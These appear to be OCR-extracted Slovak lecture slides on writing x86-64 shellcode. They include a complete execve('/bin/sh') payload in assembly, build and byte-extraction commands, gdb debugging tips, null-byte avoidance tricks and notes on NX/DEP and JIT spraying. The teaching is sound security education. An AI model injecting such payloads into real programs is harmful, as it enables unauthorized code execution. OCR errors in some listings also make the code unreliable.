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Preco shellcode?

e Postupnost bajtov, reprezentujuca strojovy kod vhodna na
injektovanie do binarneho siboru (<=> XSS pri web hackingu)

e Von Neumann architektura -> data = kod

e V minulosti bolo hlavhym cielom spustit shell



7 v
Ukazka
Cielom je spustit shell. V Céku: execve("/bin/sh”, NULL, NULL);
execve -> Cislo systémového volania 59 (RAX)
const char *filename -> cesta k programu (RDI)

const char *const argv[] -> argumenty programu (RSI)

const char *const envp[] -> premenné prostredia (RDX)

mov rax, 59 # Cislo systémového volania

lea rdi, [rip+binsh] # pointer na retazec /bin/sh
mov rsi, 0 # argv = NULL

mov rdx, 0 # envp = NULL

syscall # vyvolanie systémového volania
binsh: # navestie na oznacenie, kde sa

.string “/bin/sh” # nachadza retazec (nezaberd miesto)



Data v shellcode

Ako vlozit retazec “/bin/sh”?

e Moznost 1:

o .string “/bin/sh” -> “/bin/sh\0”
e Moznost 2:

o .ascii “/bin/sh” -> “/bin/sh”
e Moznost 3:

o mov rbx, 0x0068732f6e69622f  # Ox2f =/, O0x62 = 'b’, Ox69 = V', ...

o push rbx
o mov rdi, rsp



Ako vytvorit shellcode?

Zdrojovy kod (shellcode.s):
.global _start
_ start:
.intel_syntax noprefix
kad...
Kompilacia:
gcc -static -nostdlib shellcode.s -0 shellcode-elf
Extrakcia bajtov:
objcopy --dump-section .text=shellcode-raw shellcode-elf
Rychle disassemblovanie:

objdump -d -M intel shellcode-elf



Ako ladit shellcode?

e Najrychlejsia high-level kontrola:
o strace ./shellcode-elf
e Prostrednictvom GDB:
o gdb ./shellcode-elf
o si (Step Instruction) -> dalSia instrukcia (+vnaranie sa do fukcii CALL)
o ni (Next Instruction) -> dalSia inStrukcia (CALL sa preskakuje)
o Prehliadanie registrov/pamate
m X/gx $rsp, x/8b $rax, x/20i $rip
e Breakpointy:
o Manualne int3 instrukcia (0xCC)
o Navestia v kdde
o break *adresa (break *0x400000)



Obmedzenia

e Vstupy do aplikdcie m6zu mat r6zne obmedzenia: \O byte (pri
strcpy), diZka, transformacia vstupu, Sifrovanie, prekddovanie, ...
e Exploit/shellcode musime vediet prisposobit

mov rax, 0
mov rax, 5
mov rax, 10

mov rbx, 0x67616c662f

48 c7 c0 00 00 00 00
48 c7 c0 05 00 00 00
48 c7 c0 0a 00 00 00

48 bb 2f 66 6¢ 61 67 00 00 00

XOFr rax, rax
XOr rax, rax; mov al, 5
mov rax, 9; inc rax

mov ebx, 0x67616c66; shl rbx, 8; mov bl, 0x2f

48 31 c0
48 31 c0 b0 05
48 c7 c0 09 00 00 00 48 ff cO

bb 66 6¢c 61 67 48 cl1 €3 08 b3 2f



Shellcoding v sucCasnosti

e Koncept opravneni na stranky vo virtualnom adresnom priestore
(Read Write eXecute)

e Moderné systémy su uz chranené (NX, DEP) -> zasobnik, halda nie
nemaju X opravnenie

e Systémové volanie mprotect vie nastavit X na stranku, ako vsak
spustit kdd ked nevieme spustit kod (ROP -> blok 4)

e JIT kompilatory (JavaScript v prehliadacoch)

o var evil_code = 0x48c70c...;



